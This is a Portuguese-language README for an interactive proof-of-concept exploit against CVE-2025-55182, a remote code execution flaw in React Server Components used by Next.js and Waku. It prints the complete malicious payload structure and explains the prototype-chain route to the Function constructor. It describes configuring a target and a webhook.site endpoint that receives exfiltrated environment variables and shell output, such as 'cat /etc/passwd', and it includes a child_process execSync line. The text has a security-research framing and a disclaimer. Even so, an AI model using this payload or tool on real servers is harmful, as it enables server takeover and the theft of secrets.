React2Shell - PoC Interativo CVE-2025-55182

Shell interativo para explorar o CVE-2025-55182, uma vulnerabilidade de Execução Remota de Código em React Server Components.

Aviso Legal

Esta ferramenta é fornecida apenas para fins EDUCACIONAIS e de TESTES DE SEGURANÇA AUTORIZADOS.

• Use apenas em sistemas que você possua ou para os quais tenha permissão explícita por escrito para testar
• Acesso não autorizado a sistemas de computador é ilegal
• O autor não é responsável por qualquer uso indevido desta ferramenta
• Este é um proof-of-concept para pesquisa e conscientização em segurança

Visão Geral da Vulnerabilidade

O CVE-2025-55182 afeta React Server Components (RSC) em:

• Next.js < 15.1.7, < 14.2.29, < 13.5.9
• Waku (várias versões)

A vulnerabilidade permite Execução Remota de Código (RCE) através de payloads maliciosos enviados a Server Actions.

Como Funciona

1. O protocolo RSC usa a sintaxe $@x para referenciar objetos Chunk internos
2. O JavaScript automaticamente desempacota objetos com métodos .then() (semelhantes a Promise)
3. Ao criar um payload malicioso com propriedades controladas _response, _formData e _prefix
4. O atacante pode alcançar o construtor Function através da travessia da cadeia de protótipos
5. Isso permite execução arbitrária de JavaScript no servidor

$3:constructor:constructor → Function constructor → RCE

Instalação

git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

Configuração

Edite o exploit.js e atualize estes valores:

const TARGET_URL = 'http://localhost:3000/'          // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // Your webhook URL

Obtenha um webhook gratuito em: https://webhook.site

Uso

node exploit.js

Comandos

Command	Description
!test	Testa se o exploit funciona (envia confirmação para o webhook)
!env	Exfiltra variáveis de ambiente (process.env)
!js <code>	Executa JavaScript personalizado
!help	Mostra ajuda
!exit	Sair
<command>	Executa comando do shell (ex.: whoami, ls, cat /etc/passwd)

Exemplo de Sessão

react2shell> !test
[+] Sent! Check webhook

react2shell> whoami
[+] Sent: whoami

react2shell> ls -la
[+] Sent: ls -la

react2shell> !env
[+] Sent! Check webhook for env vars

Os resultados aparecem no seu webhook, não no terminal.

Detalhes Técnicos

Estrutura do Payload

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

Fluxo de Execução

1. O payload é enviado como dados de formulário multipart com o cabeçalho next-action
2. O parser do React Flight processa os chunks
3. $@3 cria uma referência Chunk
4. $3:constructor:constructor percorre até Function
5. O conteúdo de _prefix é passado para Function() e executado

Notas para Next.js 15+

• Usa módulos ESM, então require() não está disponível
• Use import() dinâmico em vez disso:

  import("child_process").then(cp => cp.execSync("whoami"))
  

Versões Corrigidas

Atualize para estas versões para corrigir a vulnerabilidade:

• Next.js >= 15.1.7
• Next.js >= 14.2.29
• Next.js >= 13.5.9

Referências

• Site Oficial do React2Shell
• Plugin do Google Tsunami Scanner

Licença

Licença MIT - Apenas para fins educacionais.

Autor

PoC de Pesquisa em Segurança - Use com responsabilidade.